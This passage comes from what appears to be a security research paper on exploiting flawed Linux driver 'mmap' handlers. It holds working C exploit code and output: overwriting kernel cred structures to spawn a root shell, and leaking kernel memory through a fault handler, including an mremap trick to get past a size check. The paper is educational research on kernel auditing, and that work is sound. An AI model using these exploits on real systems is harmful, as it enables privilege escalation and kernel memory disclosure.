We can see that our UIDs and GIDs have changed from 1000 to 0 suggesting that our exploit worked and we are almost a full root user.

If we run the exploit multiple times we observe that it does not get root each time. The success rate for obtaining root privileges is approximately four out of five exploit runs, or about 80%. Previously, we mentioned that we only mapped part of the physical memory. The reason for the exploit failing ~20% of the time is that we are not scanning the whole of kernel memory:

```
# cat /proc/iomem
00000000-00000fff : reserved
00001000-0009fbff : System RAM
0009fc00-0009ffff : reserved
000a0000-000bffff : PCI Bus 0000:00
000c0000-000c7fff : Video ROM
000e2000-000e2fff : Adapter ROM
000f0000-000fffff : reserved
000f0000-000fffff : System ROM
00100000-dffeffff : System RAM
bac00000-bb20b1e1 : Kernel code
bb20b1e2-bb91c4ff : Kernel data
bba81000-bbb2cfff : Kernel bss
dfff0000-dfffffff : ACPI Tables
e0000000-ffdfffff : PCI Bus 0000:00
e0000000-e0ffffff : 0000:00:02.0
f0000000-f001ffff : 0000:00:03.0
f0000000-f001ffff : e1000
f0400000-f07fffff : 0000:00:04.0
f0400000-f07fffff : vboxguest
f0800000-f0803fff : 0000:00:04.0
f0804000-f0804fff : 0000:00:06.0
f0804000-f0804fff : ohci_hcd
f0805000-f0805fff : 0000:00:0b.0
f0805000-f0805fff : ehci_hcd
fec00000-fec003ff : IOAPIC 0
fee00000-fee00fff : Local APIC
fffc0000-ffffffff : reserved
100000000-11fffffff : System RAM
```

If we look again at the physical memory layout we can see that one of the System RAM regions is out of range of our mapping so we are unable to scan this area. This is often the case as usually we will be limited by some input validation in the ‘mmap’ handler. For example we may be able to mmap 1GB of memory but, we may have no control over the physical address. This can be easily solved by using a ‘cred’ structure “spray”. We do this by creating 100-1000 child processes which will each check if their

privileges have changed. Once a child process obtains root it will notify the parent process about it and break the scanning loop. The rest of the privesc steps will be done for this single child process.

We will omit the 'cred' spray modification to make our exploit code clearer, instead this is left as an exercise for the reader. We highly recommend that you implement the 'cred' spray for practice and to see how simple and effective it is.

For now, let's go back and finish to our exploit code:

```
int main(int argc, char * const * argv)
{
...
                    if (getuid() == 0)
                    {
                          puts("[+] GOT ROOT!");

                          credIt += 1; //Skip 4 bytes, to get capabilities
                          addr[credIt++] = 0xffffffff;
                          addr[credIt++] = 0xffffffff;
                          addr[credIt++] = 0xffffffff;
                          addr[credIt++] = 0xffffffff;
                          addr[credIt++] = 0xffffffff;
                          addr[credIt++] = 0xffffffff;
                          addr[credIt++] = 0xffffffff;
                          addr[credIt++] = 0xffffffff;
                          addr[credIt++] = 0xffffffff;
                          addr[credIt++] = 0xffffffff;

                          execl("/bin/sh", "-", (char  *)NULL);
                          puts("[-] Execl failed...");

                          break;
                    }
                    else
...
                    }
              }

              addr++;
        }
        puts("[+] Scanning loop END");
        fflush(stdout);


        int stop = getchar();
        return 0;
}
```

The code above will overwrite five sets of capabilities and then start an interactive shell. Below we can see the results of our exploit:

```
$ ./mwr_client
[+] PID: 5734
[+] Open OK fd: 3
[+] mmap OK addr: 42424000
[+] UID: 1000
[+] Found cred structure! ptr: 0x11a9840c4, credNum: 1
[+] Found cred structure! ptr: 0x11a984904, credNum: 2
[+] Found cred structure! ptr: 0x11b782f04, credNum: 3
[+] Found cred structure! ptr: 0x11b78d844, credNum: 4
[+] GOT ROOT!
# id
uid=0(root) gid=0(root) groups=0(root),1000(lowpriv)
# cat /proc/self/status
Name: cat
Umask:      0022
State:      R (running)
Tgid: 5738
Ngid: 0
Pid:  5738
PPid: 5734
TracerPid:  0
Uid:  0     0     0     0
Gid:  0     0     0     0
FDSize:     64
Groups:     1000
…
CapInh:     ffffffffffffffff
CapPrm:     ffffffffffffffff
CapEff:     ffffffffffffffff
CapBnd:     ffffffffffffffff
CapAmb:     ffffffffffffffff
Seccomp:    0
…
```

4.3 mmap Handler Exploitation via the Fault Handler

In this example we will exploit the ‘mmap’ fault handler. Since we already know how to gain root privileges from a vulnerable ‘mmap’ handler we will instead focus on the information disclosure issue.

This time our driver will be read only for us:

```
$ ls -la /dev/MWR_DEVICE
crw-rw-r-- 1 root root 248, 0 Aug 24 12:02 /dev/MWR_DEVICE
```

And will use following code:

```
static struct file_operations fops =
{
	.open = dev_open,
	.mmap = simple_vma_ops_mmap,
	.release = dev_release,
};

int size = 0x1000;
static int dev_open(struct inode *inodep, struct file *filep)
{
	...
		filep->private_data = kzalloc(size, GFP_KERNEL);
	...
		return 0;
}

static struct vm_operations_struct simple_remap_vm_ops = {
	.open = simple_vma_open,
	.close = simple_vma_close,
	.fault = simple_vma_fault,
};

static int simple_vma_ops_mmap(struct file *filp, struct vm_area_struct *vma)
{
	printk(KERN_INFO "MWR: Device simple_vma_ops_mmap\n");
	vma->vm_private_data = filp->private_data;
	vma->vm_ops = &simple_remap_vm_ops;
	simple_vma_open(vma);

	printk(KERN_INFO "MWR: Device mmap OK\n");
	return 0;
}

int simple_vma_fault(struct vm_area_struct *vma, struct vm_fault *vmf)
{
	struct page *page = NULL;
	unsigned long offset;
	printk(KERN_NOTICE "MWR: simple_vma_fault\n");
	printk(KERN_NOTICE "MWR: vmf->pgoff: %lx, vma->vm_pgoff: %lx, sum: %lx,
PAGE_SHIFT: %x\n", (unsigned long)vmf->pgoff, (unsigned long)vma->vm_pgoff, ((vmf-
>pgoff << PAGE_SHIFT) + (vma->vm_pgoff << PAGE_SHIFT)), PAGE_SHIFT);

	offset = (((unsigned long)vmf->virtual_address - vma->vm_start) + (vma-
>vm_pgoff << PAGE_SHIFT));
	if (offset > PAGE_SIZE << 4)
		goto nopage_out;
	page = virt_to_page(vma->vm_private_data + offset);
```

```
        vmf->page = page;
        get_page(page);
nopage_out:
        return 0;
}
```

Having a read only driver file means that we will be unable to mmap memory as writable and we can only read mapped memory.

We begin by analysing the driver code where we can see that the 'open' operation for the driver, the function named 'dev_open', will simply allocate a 0x1000 byte buffer. In the 'simple_vma_ops_mmap' mmap handler we can see that there is no validation and a virtual memory operations structure is assigned to the requested memory area. In this structure we find an implementation for the 'simple_vma_fault' fault handler.

The 'simple_vma_fault' function first calculates the offset of the memory page in which the fault was triggered. Next, it retrieves the page by performing addition of the previously allocated ('vma->vm_private_data') buffer and 'offset' variable. Finally, the retrieved page is assigned to the 'vmf->page' field. This will cause that page to be mapped to the virtual address at which the fault had occurred.

However, before the page is returned the following validation is performed:

```
if (offset > PAGE_SIZE << 4)
        goto nopage_out;
```

The validation above checks to see whether the fault occurred at an address larger than 0x10000 and if true, it will prohibit to access that page.

If we check the size of the driver buffer we see that this value is smaller than 0x10000 as the size of the buffer declared in the driver is 0x1000 bytes:

```
int size = 0x1000;
static int dev_open(struct inode *inodep, struct file *filep)
{
        ...
                filep->private_data = kzalloc(size, GFP_KERNEL);
        ...
                return 0;
}
```

This allows a malicious process to request the 0x9000 bytes situated after the driver buffer, leading to kernel memory being disclosed.

Let's use following code to exploit the driver:

```
void hexDump(char *desc, void *addr, int len);

int main(int argc, char * const * argv)
{
        int fd = open("/dev/MWR_DEVICE", O_RDONLY);
```

```
	if (fd < 0)
	{
		printf("[-] Open failed!\n");
		return -1;
	}
	printf("[+] Open OK fd: %d\n", fd);

	unsigned long size = 0x10000;
	unsigned long mmapStart = 0x42424000;
	unsigned int * addr = (unsigned int *)mmap((void*)mmapStart, size, PROT_READ,
MAP_SHARED, fd, 0x0);
	if (addr == MAP_FAILED)
	{
		perror("Failed to mmap: ");
		close(fd);
		return -1;
	}

	printf("[+] mmap OK addr: %lx\n", addr);
	hexDump(NULL, addr, 0x8000); // Dump mapped buffer
	int stop = getchar();
	return 0;
}
```

The code looks similar to the standard usage of the driver. We first open the device, mmap 0x10000 bytes and then dump the mapped memory (the 'hexDump' function prints the hex representation of the buffer it is passed to stdout).

Now let's take a look at the output of our exploit:

```
$ ./mwr_client
[+] Open OK fd: 3
[+] mmap OK addr: 42424000
  0000  01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0010  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0020  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  ...
  2000  00 00 00 00 00 00 00 00 08 00 76 97 ae 90 ff ff  ..........v.....
  2010  08 00 76 97 ae 90 ff ff 18 00 76 97 ae 90 ff ff  ..v.......v.....
  2020  18 00 76 97 ae 90 ff ff 28 00 76 97 ae 90 ff ff  ..v.....(.v.....
  2030  28 00 76 97 ae 90 ff ff 00 00 00 00 00 00 00 00  (.v.............
  2040  00 00 00 00 00 00 00 00 25 00 00 00 00 00 00 00  ........%.......
  2050  00 1c 72 95 ae 90 ff ff 00 00 00 00 00 00 00 00  ..r.............
  ...
```

In the output we can see that there is some data at the offset 0x2000. The driver's buffer ends at the offset 0x1000 so reading beyond this buffer means we were able to successfully leak kernel memory.

Furthermore, we can see in the 'dmesg' output that we have accessed more than one page of memory:

```
[  681.740347] MWR: Device has been opened 1 time(s)
[  681.740438] MWR: Device simple_vma_ops_mmap
[  681.740440] MWR: Simple VMA open, virt 42424000, phys 0
[  681.740440] MWR: Device mmap OK
[  681.740453] MWR: simple_vma_fault
[  681.740454] MWR: vmf->pgoff: 0, vma->vm_pgoff: 0, sum: 0, PAGE_SHIFT: c
[  681.741695] MWR: simple_vma_fault
[  681.741697] MWR: vmf->pgoff: 1, vma->vm_pgoff: 0, sum: 1000, PAGE_SHIFT: c
[  681.760845] MWR: simple_vma_fault
[  681.760847] MWR: vmf->pgoff: 2, vma->vm_pgoff: 0, sum: 2000, PAGE_SHIFT: c
[  681.765431] MWR: simple_vma_fault
[  681.765433] MWR: vmf->pgoff: 3, vma->vm_pgoff: 0, sum: 3000, PAGE_SHIFT: c
[  681.775586] MWR: simple_vma_fault
[  681.775588] MWR: vmf->pgoff: 4, vma->vm_pgoff: 0, sum: 4000, PAGE_SHIFT: c
[  681.776835] MWR: simple_vma_fault
[  681.776837] MWR: vmf->pgoff: 5, vma->vm_pgoff: 0, sum: 5000, PAGE_SHIFT: c
[  681.777991] MWR: simple_vma_fault
[  681.777992] MWR: vmf->pgoff: 6, vma->vm_pgoff: 0, sum: 6000, PAGE_SHIFT: c
[  681.779318] MWR: simple_vma_fault
[  681.779319] MWR: vmf->pgoff: 7, vma->vm_pgoff: 0, sum: 7000, PAGE_SHIFT: c
```

4.4 mmap Handler Exploitation via the Fault Handler - Version Two

Let's assume that a developer has introduced a fix in the previous code for the 'simple_vma_ops_mmap' function. As we can see below, the new code validates the size of the mapping by checking it is smaller than 0x1000. In theory, this will prevent our previous exploit from being successful.

```
static int simple_vma_ops_mmap(struct file *filp, struct vm_area_struct *vma)
{
	unsigned long size = vma->vm_end - vma->vm_start;
	printk(KERN_INFO "MWR: Device simple_vma_ops_mmap\n");
	vma->vm_private_data = filp->private_data;
	vma->vm_ops = &simple_remap_vm_ops;
	simple_vma_open(vma);

	if (size > 0x1000)
	{
		printk(KERN_INFO "MWR: mmap failed, requested too large a chunk of
memory\n");
		return -EAGAIN;
	}

	printk(KERN_INFO "MWR: Device mmap OK\n");
	return 0;
}
```

However, this code is still exploitable despite being unable to create a huge mapping using mmap. We can split the mapping process into two steps:

- Call mmap with a size of 0x1000 bytes
- Call mremap with a size of 0x10000 bytes

What this means is that first, we create a small mapping of 0x1000 bytes which will pass the validation then we enlarge its size using 'mremap'. Finally, we can dump memory as we did previously:

```
int main(int argc, char * const * argv)
{
	int fd = open("/dev/MWR_DEVICE", O_RDONLY);
	if (fd < 0)
	{
		printf("[-] Open failed!\n");
		return -1;
	}
	printf("[+] Open OK fd: %d\n", fd);

	unsigned long size = 0x1000;
	unsigned long mmapStart = 0x42424000;
	unsigned int * addr = (unsigned int *)mmap((void*)mmapStart, size, PROT_READ,
MAP_SHARED, fd, 0x0);
	if (addr == MAP_FAILED)
	{
		perror("Failed to mmap: ");
		close(fd);
		return -1;
	}

	printf("[+] mmap OK addr: %lx\n", addr);
	addr = (unsigned int *)mremap(addr, size, 0x10000, 0);
	if (addr == MAP_FAILED)
	{
		perror("Failed to mremap: ");
		close(fd);
		return -1;
	}
	printf("[+] mremap OK addr: %lx\n", addr);

	hexDump(NULL, addr, 0x8000);

	int stop = getchar();
	return 0;
}
```

Our exploit gives us the following output. Again, we see that we were able to dump the contents of memory which we should not be able to read:

```
$ ./mwr_client
[+] Open OK fd: 3
[+] mmap OK addr: 42424000
[+] mremap OK addr: 42424000
  0000  01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0010  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  ...
  4c00  25 b0 4d c3 00 00 00 00 25 c0 4d c3 00 00 00 00  %.M.....%.M.....
  4c10  25 d0 4d c3 00 00 00 00 25 e0 4d c3 00 00 00 00  %.M.....%.M.....
  4c20  25 f0 4d c3 00 00 00 00 25 00 4e c3 00 00 00 00  %.M.....%.N.....
  4c30  25 10 4e c3 00 00 00 00 00 00 00 00 00 00 00 00  %.N.............
  4c40  25 30 4e c3 00 00 00 00 25 40 4e c3 00 00 00 00  %0N.....%@N.....
  ...
```

5. Tips and Tricks

5.1 Fuzzing for the Win!

Often, when analysing ‘mmap’ handlers, one will find a lot of bitmasks, bit shifting and arithmetic. These operations can make it easy to miss certain ‘magic’ values which may allow an attacker to bypass input validation and gain unintended access to certain areas of memory. There are two values which we need to fuzz; the offset and the size of the mapping. Having only two values to fuzz means that we can fuzz the driver relatively quickly, allowing us to try a wide range of values, ensuring that we thoroughly test potential edge cases.

5.2 Different Functions with the Same Issue

In this article we have described the usage of the ‘remap_pfn_range’ function and its fault handler to create memory mappings. However, this is not the only function which can be exploited in this way and there are plenty of other functions which can be abused in order to modify arbitrary areas of memory. You cannot guarantee that a driver is secure by focussing on a single function. Other potentially interesting functions with similar functionality are:

- vm_insert_page
- vm_insert_pfn
- vm_insert_pfn_prot
- vm_iomap_memory
- io_remap_pfn_range
- remap_vmalloc_range_partial
- remap_vmalloc_range

The full list of functions may differ between two different kernel versions.

5.3 Where to Search for this Type of Vulnerability?

In this article we have described a vulnerability in the way a device driver implements an ‘mmap’ handler. However, almost any subsystem may implement a custom ‘mmap’ handler. You should expect that source files for proc, sysfs, debugfs, custom file systems, sockets, and anything that provides a file descriptor may implement a vulnerable ‘mmap’ handler.

Moreover, ‘remap_pfn_range’ may be called from any syscall handler, not just ‘mmap’. You would certainly expect to find that functionality in ioctl’s handlers too.